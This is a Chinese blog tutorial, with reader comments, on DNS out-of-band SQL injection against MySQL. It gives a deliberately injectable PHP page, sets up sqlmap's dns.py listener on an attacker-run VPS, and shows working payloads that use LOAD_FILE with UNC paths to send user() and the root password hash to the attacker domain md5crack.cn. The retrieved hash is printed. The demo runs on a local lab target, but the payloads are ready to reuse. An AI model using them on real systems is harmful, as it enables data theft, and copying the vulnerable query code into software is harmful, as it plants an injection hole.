突破延迟注入和盲注速度限制,利用dns注入快速获取数据

dns注入就是通过数据库对域名发起dns解析请求来达到快速获取数据目的。

原理:

1

发个图先自己体会下

通常在存在一个没有数据回显的注入点进行注入时,我们需要使用延迟注入或者盲注(布尔注入),这种注入速度非常慢,需要一个一字符猜解,而且很容易搞挂网站,这时候我们怎么快速获取数据呢?下面我就来详细讲解下mysql的dns注入操作步骤。

要准备的东西:

域名2个,vps一台(装好sqlmap)

没有上面的东西可以用cloudeye,这里有个免费的http://ceye.io/

首先来到我们的第一个域名md5crack.cn修改域名dns服务器

3

 

这里我把域名dns改成了我第二个域名test.itgou.club,然后把test.itgou.club域名解析到自己的vps的ip上。

然后等待dns生效。

然后本地搭建个注入点(inject.php)进行测试,代码如下:

<?php
$link = mysql_connect("localhost","root","root");
mysql_select_db("mysql",$link);
$sql = "select password from user where user='{$_GET['user']}'";
echo $sql;
mysql_query($sql);
?>

可以看到这个注入点除了延迟注入,没其他办法获取数据了,但是我们有了dns注入就可以不用延迟注入了。

然后来ssh登录到我们的vps,进入sqlmap的sqlmap/lib/request/目录下

4

这里有个dns.py,这个是干什么用的呢,这个是用来监听53端口(dns端口)的一个脚本,用他来获取数据。

然后我们运行这个脚本,监听53端口

run

访问注入点:http://localhost/inject.php?user=root

i1

 

开始注入,首先禁用本地dns缓存服务:

cache

提交

http://localhost/inject.php?user=123' and if((SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.md5crack.cn\\foobar'))),1,1)%23

i2

成功接收到了726F6F74406C6F63616C686F7374,用小葵转换工具转换一下:

decode

为啥要进行hex(user())? 你觉得 root@localhost.md5crack.cn这样能解析吗,所以我们需要进行hex编码一下。

接下来获取账号密码,提交:

http://localhost/inject.php?user=123' and if((SELECT LOAD_FILE(CONCAT('\\\\',(SELECT concat(user,'_',mid(password,2,41)) from user where user='root' limit 1),'.md5crack.cn\\foobar'))),1,1)%23

i3

 

成功获取到:root_81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

需要注意的两点:

1.域名前缀长度限制在63个字符,解决办法是用mid()函数来获取。

2.域名前缀不支持一些特殊字符,如*,解决办法是用hex()或者其他加密函数,获取到数据后再解密。

sqlmap也提供了这种注入方法,参数:–dns-domain

参考文章:http://drops.wooyun.org/tips/5283

 

文 / admin
4 COMMENTS
  1. 2016/05/12
    好书推荐

    进来看看、支持一下

  2. 2016/08/05
    常驻读者

    “然后把test.itgou.club域名解析到自己的vps的ip上”
    请教,这里将域名test.itgou.clubA记录指向IP,之后vps上需要配置dns绑定域名吗?如何操作?
    目前正在研究这块,希望博主百忙之中给予解惑。

  3. 2016/08/17
    李威

    看的懵懵懂懂的 没太搞清楚逻辑 你这边是自己搭建的对吧 localhost 的注入是那个vps那个服务器么?

  4. 2018/03/05
    1

    这个思路贼骚

LEAVE A REPLY

loading